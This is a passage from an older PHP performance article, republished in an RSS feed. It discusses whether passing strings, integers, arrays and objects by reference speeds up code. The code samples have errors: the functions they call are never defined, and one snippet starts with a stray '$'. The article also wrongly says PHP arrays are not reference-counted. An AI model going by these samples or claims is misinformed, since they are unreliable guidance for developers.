<table align="center" bgcolor="#cccccc" border="1" cellpadding="0" cellspacing="0" width="90%">
<tr>
<td><font face="Courier New,Courier,Monaco"><strong>Do References Speed Your Code?</p>
<p></strong>References do not provide any performance benefits for strings,                      integers and other basic data types. For example, consider                      the following code:</p>
<pre><font size="2">function TestRef(&amp;$a)
{
    $b = $a;
    $c = $a;
}
$one = 1;
ProcessArrayRef($one);</font></pre>
<p></font><font face="Courier New,Courier,Monaco">And the same code without references:</p>
<p></font></p>
<pre><font size="2">function TestNoRef($a)
{
    $b = $a;
    $c = $a;
}
$one = 1;
ProcessArrayNoRef($one);</font></pre>
<p><font face="Courier New,Courier,Monaco" size="1">        </font><font face="Courier New,Courier,Monaco">PHP does not actually create duplicate variables when &#8220;pass by value&#8221;          is used, but uses high speed reference counting internally. So in TestRef(),          $b and $c take longer to set because the references have to be tracked,          while in TestNoRef(), $b and $c just point to the original value of $a,          and the reference counter is incremented. So TestNoRef() will execute          faster than TestRef().</p>
<p>In contrast, functions that accept <em>array</em> and <em>object</em>                      parameters have a performance advantage when references are                      used. This is because arrays and objects do not use reference                      counting, so multiple copies of an array or object are created                      if &#8220;pass by value&#8221; is used. So the following code:</p>
<p></font><font face="Courier New,Courier,Monaco" size="1"><font size="2">function ObjRef(&amp;$o)<br />
</font><font size="2">{</font><br />
<font size="2">$a =$o-&gt;name;<br />
}</font></p>
<p></font><font face="Courier New,Courier,Monaco">is faster than:</p>
<p></font><font face="Courier New,Courier,Monaco" size="1"><font size="2">$function ObjRef($o)<br />
</font><font size="2">{</font><br />
<font size="2">  $a = $o-&gt;name;<br />
</font><font size="2">}</font></p>
<p></font><font face="Courier New,Courier,Monaco">Note: In PHP 5, all objects are passed by reference automatically,                      without the need of an explicit &amp; in the parameter list.                      PHP 5 object performance should be significantly faster.</p>
<p></font></td>
</tr>
</table>
<p><font face="Courier New,Courier,Monaco">  </font>              </font></font></p>
<p align="center"><font face="Courier New,Courier,Monaco"><font face="Courier New,Courier,Monaco"><strong><em> Many thanks also to Andrei Zmievski for    reviewing this article.</em><br />
</strong> </font></font></p>
<p><font face="Courier New,Courier,Monaco"><font face="Courier New,Courier,Monaco"><font face="Courier New,Courier,Monaco"></p>
<p align="center">(c) 2001-2005 John Lim. No reproduction of this                article<br />
is permitted without written permission from the author.</p>
<p></font></font></font></p>
<p>nguồn: http://phplens.com/lens/php-book/optimizing-debugging-php.php</p>
]]></content:encoded>
			<wfw:commentRss>http://www.huongtinhyeu.net/cms/a-howto-on-optimizing-php/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
